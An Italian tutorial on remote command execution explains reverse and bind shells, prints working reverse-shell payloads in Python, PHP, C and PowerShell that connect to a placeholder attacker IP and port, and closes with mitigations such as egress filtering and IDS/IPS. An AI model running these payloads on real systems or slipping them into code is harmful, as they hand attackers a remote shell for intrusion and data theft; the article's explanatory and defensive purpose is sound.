Una vulnerabilità di tipo Remote Command Execution è una vulnerabilità che consente ad un criminale di eseguire codice – tendenzialmente arbitrario – e mira ad ottenere accesso remoto ad un sistema operativo. Solitamente, ciò viene raggiunto mediante il ricorso alle cosiddette reverse shell e alle bind shell.
La principale differenza tra Reverse Shell e Bind Shell è che una reverse shell si connette al computer remoto dell’hacker mentre una bind shell consente l’accesso remoto al computer della vittima. Una reverse shell richiede l’uso di un IP (o dominio) e di una porta per stabilire la connessione mentre una bind shell può essere eseguita su qualsiasi porta aperta sulla vittima.
Se viene rinvenuta una vulnerabilità di tipo Remote Code Execution, e questa viene sfruttata attraverso una Reverse Shell o una Bind Shell, gli impatti principali sono:
- Furto di informazioni riservate
- Modifiche non autorizzate ai dati
- Manipolazione del sistema operativo
- Esecuzione di altre attività illegali per tramite del sistema compromesso
Esistono molteplici tipologie di Reverse Shell e Bind Shell. Tuttavia, l’unica differenza logica sostanziale è quella relativa alle tecnologie utilizzate per effettuare la connessione (quindi, il protocollo utilizzato) e i linguaggi utilizzati.
Per esempio, esistono shell:
- TCP
- UDP (es. https://github.com/00xc/udp-reverse-shells)
- ICMP (es. https://github.com/interference-security/icmpsh e https://github.com/krabelize/icmpdoor)
- SSH (es. https://moreillon.medium.com/ssh-reverse-shells-5094d9be2094)
- […]
Ognuna di queste tipologie viene utilizzata per stabilire, dunque, una connessione più o meno diretta tra l’hacker e il sistema remoto.
Supponiamo di riuscire ad eseguire il seguente codice su un sistema operativo in cui sia installato il ben noto linguaggio di programmazione python
python —c ‘import socket, subprocess, os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“<ip-attaccante>”,<porta>));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,”- i”]);’
Tramite questo codice, per esempio, un attaccante otterrebbe un shell sh per mezzo della chiamata subprocess.call e esporrebbe la comunicazione tramite una qualunque porta TCP a sua scelta.
Ecco invece un esempio relativo al mondo PHP:
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip-attaccante>/<porta> 0>&1'");
?>
Questa in C:
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
int main()
{
int sockfd;
int port = 9001;
// Address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(“127.0.0.1”);
// 1) Socket Syscall (sys_socket 1)
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// 2) Connect Syscall
connect(sockfd, (struct sockaddr *) &addr, sizeof(addr));
// 3) Dup2 Syscall
dup2(sockfd, 0); //stdin
dup2(sockfd, 1); //stdout
dup2(sockfd, 2); //stderr
// 4) Execve Syscall
execve(“/bin/sh”, NULL, NULL);
return 0;
}
Infine con powershell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object
System.Net.Sockets.TCPClient("ip",porta);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Ovviamente, non esistono ricette magiche per eliminare completamente un rischio informatico. Tuttavia, ci sono alcune tecniche che possono aiutare a minimizzare il rischio del verificarsi di un simile attacco. Vediamone alcune insieme:
- Innanzitutto è necessario ricordare che è strettamente necessario e non sufficiente sanificare sempre tutti i parametri che possono essere manipolati da un attaccante (anche se non intenzionalmente consentitogli);
- Bloccare le connessioni in uscita e in ingresso (tramite un firewall correttamente configurato, per esempio);
- Configurare un server proxy e configurarlo puntualmente per ottenere destinazioni controllate e verificate;
- Rimuovere gli interpreti non necessari;
- Installare un IDS/IPS (es. Suricata o SNORT) per bloccare i tentativi di exploit;
- Aggiornare sistematicamente i sistemi operativi e gli applicativi